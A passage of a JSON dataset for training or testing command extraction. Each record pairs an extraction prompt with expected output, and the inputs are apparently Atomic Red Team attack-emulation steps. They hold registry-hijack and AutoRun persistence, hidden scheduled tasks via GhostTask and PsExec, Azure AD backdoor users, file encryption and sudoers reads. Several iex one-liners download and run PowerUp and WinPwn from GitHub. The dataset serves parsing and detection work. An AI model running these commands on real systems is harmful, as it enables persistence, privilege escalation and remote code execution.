English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When executed, the system will simulate an interruption authentication by attempting to encrypt data as root, or in the user's home directory if root is not available, with this command:\nwhich_ccencrypt=`which ccencrypt`\ncp #{root_input_file_path} #{cped_file_path};\n$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}\n; To encrypt a file using openssl, run the following commands:\nwhich_openssl=`which openssl`\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}",
    "output": "{\"command_list\": [\"which_ccencrypt=`which ccencrypt`\\ncp #{root_input_file_path} #{cped_file_path};\\n$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}\\n\", \"which_openssl=`which openssl`\\n$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}\\n$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}\\n$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For process identification, cmd.exe will run tasklist.exe with the command: tasklist; To identify running processes, you can use the following command: Get-Process",
    "output": "{\"command_list\": [\"tasklist\\n\", \"Get-Process\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating hidden scheduled tasks that evade conventional detection, use the GhostTask utility with the following command sequence: \n\"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" \\\\#{target} -accepteula -s \"cmd.exe\"\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\GhostTask.exe\" \\\\#{target} add #{task_name} \"cmd.exe\" \"/c #{task_command}\" #{user_name} logon; To establish persistence by hijacking the Computer Management console, use the following command sequence: reg add \"HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\" /ve /t REG_EXPAND_SZ /d \"c:\\windows\\System32\\#{payload}\" /f\nschtasks /Create /TN \"#{task_name}\" /TR \"compmgmt.msc\" /SC ONLOGON /RL HIGHEST /F\nECHO Let's open the Computer Management console now...\ncompmgmt.msc",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" \\\\\\\\#{target} -accepteula -s \\\"cmd.exe\\\"\\n\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\GhostTask.exe\\\" \\\\\\\\#{target} add #{task_name} \\\"cmd.exe\\\" \\\"/c #{task_command}\\\" #{user_name} logon\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command\\\" /ve /t REG_EXPAND_SZ /d \\\"c:\\\\windows\\\\System32\\\\#{payload}\\\" /f\\nschtasks /Create /TN \\\"#{task_name}\\\" /TR \\\"compmgmt.msc\\\" /SC ONLOGON /RL HIGHEST /F\\nECHO Let's open the Computer Management console now...\\ncompmgmt.msc\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove an account from the domain admins group, use the following command: $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \"CN=Domain Admins*\"){\n  Remove-ADGroupMember -Identity \"Domain Admins\" -Members #{remove_user} -Credential $Credential -Confirm:$False\n} else{\n    write-host \"Error - Make sure #{remove_user} is in the domain admins group\" -foregroundcolor Red\n}; This test prevents account access by modifying the password via the command: passwd #{user_account} #enter admin password > enter new password > confirm new password",
    "output": "{\"command_list\": [\"$PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord\\nif((Get-ADUser #{remove_user} -Properties memberof).memberof -like \\\"CN=Domain Admins*\\\"){\\n  Remove-ADGroupMember -Identity \\\"Domain Admins\\\" -Members #{remove_user} -Credential $Credential -Confirm:$False\\n} else{\\n    write-host \\\"Error - Make sure #{remove_user} is in the domain admins group\\\" -foregroundcolor Red\\n}\\n\", \"passwd #{user_account} #enter admin password > enter new password > confirm new password\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Malicious actors often establish persistence by creating new Azure AD users with this command block: az login\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\"      \n$password = \"#{password}\"\naz ad user create --display-name $username --password $password --user-principal-name $userprincipalname\naz ad user list --filter \"displayname eq 'atomicredteam'\"; To enumerate common sudo privileges, use the following commands: sudo -l      \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers",
    "output": "{\"command_list\": [\"az login\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\"      \\n$password = \\\"#{password}\\\"\\naz ad user create --display-name $username --password $password --user-principal-name $userprincipalname\\naz ad user list --filter \\\"displayname eq 'atomicredteam'\\\"     \", \"sudo -l      \\nsudo cat /etc/sudoers\\nsudo vim /etc/sudoers\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary can maintain persistence via the CommandProcessor AutoRun registry key, executing a command each time cmd.exe is launched, with this PowerShell script: $path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n  New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"; The Windows Error Reporting framework can be set up to run a specific executable during application hangs by adding this Registry entry: reg add \"HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"$path = \\\"HKCU:\\\\Software\\\\Microsoft\\\\Command Processor\\\"\\nif (!(Test-Path -path $path)){\\n  New-Item -ItemType Key -Path $path\\n}\\nNew-ItemProperty -Path $path -Name \\\"AutoRun\\\" -Value \\\"#{command}\\\" -PropertyType \\\"String\\\"\", \"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\Hangs\\\" /v Debugger /t REG_SZ /d \\\"C:\\\\Windows\\\\System32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The generaldomaininfo function of WinPwn can be executed with this command to collect domain details: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ngeneraldomaininfo -noninteractive -consoleoutput; To enumerate active directory usernames with Kerbrute's userenum function, use the following command: cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} \"PathToAtomicsFolder\\..\\ExternalPayloads\\username.txt\"",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ngeneraldomaininfo -noninteractive -consoleoutput\", \"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\username.txt\\\"\"]}"
  },
  {
